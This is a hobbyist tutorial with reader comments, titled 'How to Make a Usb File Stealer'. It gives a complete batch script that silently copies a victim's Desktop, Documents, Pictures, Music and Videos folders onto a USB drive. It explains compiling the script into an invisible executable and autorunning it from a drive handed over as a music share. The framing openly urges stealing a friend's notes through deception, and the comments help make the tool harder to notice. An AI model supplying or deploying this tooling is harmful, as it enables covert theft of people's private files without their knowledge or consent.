How to Make a Usb File Stealer

295

4

8

About: Hello, my name is xp4xbox, a really old name that really has nothing to do with xbox consoles. Anyway I enjoy making programs and have several instructables on some of them. So far, I know VBScript, Batch, P...

Let’s say you and your friend are preparing for an important exam. Your friend has some important notes on his computer that he isn’t going to share with you. Your friend is a moron. You need the notes so badly that you are willing to steal from him. He deserves it anyway. To get the notes you can either break into his house at night, an accomplice keeps you hanging by a rope from the roof while you deliberately copy the files to your flash drive taking care not to let your feet touch the floor. Or you can walk into his room one morning and say with a feigned smile, “Hey, buddy! I have some great new music. Want it?”. Then plug your USB Flash drive into his PC to automatically copy his notes to your pen drive, secretly and silently. Copy the songs you brought to his PC to complete the act. Sneaky, isn't it? So let us prepare such a sinister USB Flash drive.

Supplies:

Step 1: Tools

For this you will need these things:

1. A usb drive, (it has to be a U3 drive if you want it to autorun)

2. A windows computer

3. a few more programs, that I will have for you.

Step 2: Preparing the Usb Drive

So now we have to prepare the usb drive. If you are using a u3 drive you can make your program autorun automatically by creating your own autolauching program. If you are not using a u3 drive then you will have to launch your program manually creating a file that launches file.exe which we will create in a moment and your file that you want to show your friend. This can be done by creating a batch file with this code:

@echo off

cd \ & start file.exe & start ".\more\musicexample.mp3"

So this file goes to the root of your usb drive and then starts file.exe. After that it launches a music file in a folder called "more". So obviously you will have to edit the file path of the music file. But is does not have to be just music, it could be a picture or a game, as long as you insert the correct file path.

So anyway to make your u3 drive autorun, first backup your usb drive than format it and make the Volume Label USBDRIVE. Then download the file below which contains the autorun iso image and the universal usb customizer tool. Next extract the file and double-click on the Universal_Customizer.exe and follow the instructions on screen to burn to iso to your usb drive.Then unplug and replug back in your usb drive and your usb will now autorun file.exe which we will create next.

Step 3: The Batch File

So now we are going to create the actual copying program. To make this program we are going to use batch programming, which is a very easy and simple language to learn.

So open up notepad or any other text editor and paste in the following code:

@echo off
set D=md
set M=move
set C=xcopy /e /c /i /h /y
cd \
:check0
if not exist "%computername%_Copied_files" (
goto cpadd
)
if exist "%computername%_Copied_files" (
exit
)
:cpadd
%D% %computername%_Copied_files
:check
if exist "%USERPROFILE%\Desktop" (
%D% %computername%_Desktop
%M% "%computername%_Desktop" "%computername%_Copied_files"
%C% "%USERPROFILE%\Desktop" "%computername%_Copied_files\%computername%_Desktop"
)
:check1
if exist "%USERPROFILE%\Pictures" (
%D% %computername%_Pictures
%M% "%computername%_Pictures" "%computername%_Copied_files"
%C% "%USERPROFILE%\Pictures" "%computername%_Copied_files\%computername%_Pictures"
)
:check2
if exist "%USERPROFILE%\Music" (
%D% %computername%_Music
%M% "%computername%_Music" "%computername%_Copied_files"
%C% "%USERPROFILE%\Music" "%computername%_Copied_files\%computername%_Music"
)
:check3
if exist "%USERPROFILE%\Videos" (
%D% %computername%_Videos
%M% "%computername%_Videos" "%computername%_Copied_files"
%C% "%USERPROFILE%\Videos" "%computername%_Copied_files\%computername%_Videos"
)
:check4
if exist "%USERPROFILE%\My Documents" (
%D% %computername%_My_Documents
%M% "%computername%_My_Documents" "%computername%_Copied_files"
%C% "%USERPROFILE%\My Documents" "%computername%_Copied_files\%computername%_My_Documents"
)
:check5
if exist "%USERPROFILE%\Documents" (
%D% %computername%_Documents
%M% %computername%_Documents "%computername%_Copied_files"
%C% "%USERPROFILE%\Documents" "%computername%_Copied_files\%computername%_Documents"
)
:end
rem msg %username% Done!
exit

save this as file.bat in the root of your usb drive.

This file is configured to copy all files on the desktop, pictures, music, videos and documents to a folder called _Copied_Files in the root of your usb drive. It also checks to see if you already copied files from that computer and if you did, it exits. You could edit this file as you like, such as if you don't want to copy files on the desktop, you would remove the code:

if exist "%USERPROFILE%\Desktop" (
%D% %computername%_Desktop
%M% "%computername%_Desktop" "%computername%_Copied_files"
%C% "%USERPROFILE%\Desktop" "%computername%_Copied_files\%computername%_Desktop"
)

Also, if you want to have a popup message saying done! when the file finishes, remove the "rem" in

rem msg %username% Done!

Step 4: Compiling the Code

Next we will have to compile file.bat to an invisible exe file. To do that dowload to batch to exe converter from this Website. Then open the program and browse to file.bat. Make sure to select "Invisible application" in order to make sure that the program runs invisible. Then hit compile.

Step 5: Done!

So now unplug and replug back in your usb drive. If you burned your u3 drive with the universal customizer than your program should autorun automatically. If you created a .bat file that executes file.exe and your custom file than double-click on that. If it does not work please send me a pm and I will help you out.

NOTE: If you are having problems with the copying and pasting or you are confused, below is the .bat file which you can right-click and edit.

I hope you found this instructable useful and if you have any questions or concerns please send me a private message or post a comment.

Share

    Recommendations

    • Party Challenge

      Party Challenge
    • Classroom Science Contest

      Classroom Science Contest
    • IoT Challenge

      IoT Challenge

    8 Discussions

    0
    None
    LandalSeemsCool

    9 months ago

    ayy its landal, I tried the code on my computer and it didn't copy any files. Is this just because it was on my pc?

    7 replies
    0
    None
    LandalSeemsCoolLandalSeemsCool

    Reply 9 months ago

    also the start up file has stopped working for me. the first time it did work it opened up a very obvious cmd tab

    0
    None
    xp4xboxLandalSeemsCool

    Reply 9 months ago

    Make sure you clicked the invisible application checkbox. Try just running the .bat straight off the USB and see if it works. If it does, I can show you another method of making it invisible.

    0
    None
    xp4xboxLandalSeemsCool

    Reply 9 months ago

    It will only work on USB stick since by default it will go to the root of the drive to create the backups which would need admin access for the C drive.

    0
    None
    xp4xboxLandalSeemsCool

    Reply 9 months ago

    It's very outdated it will not work on newer versions of Windows without clicking the launch application which will pop up when inserted.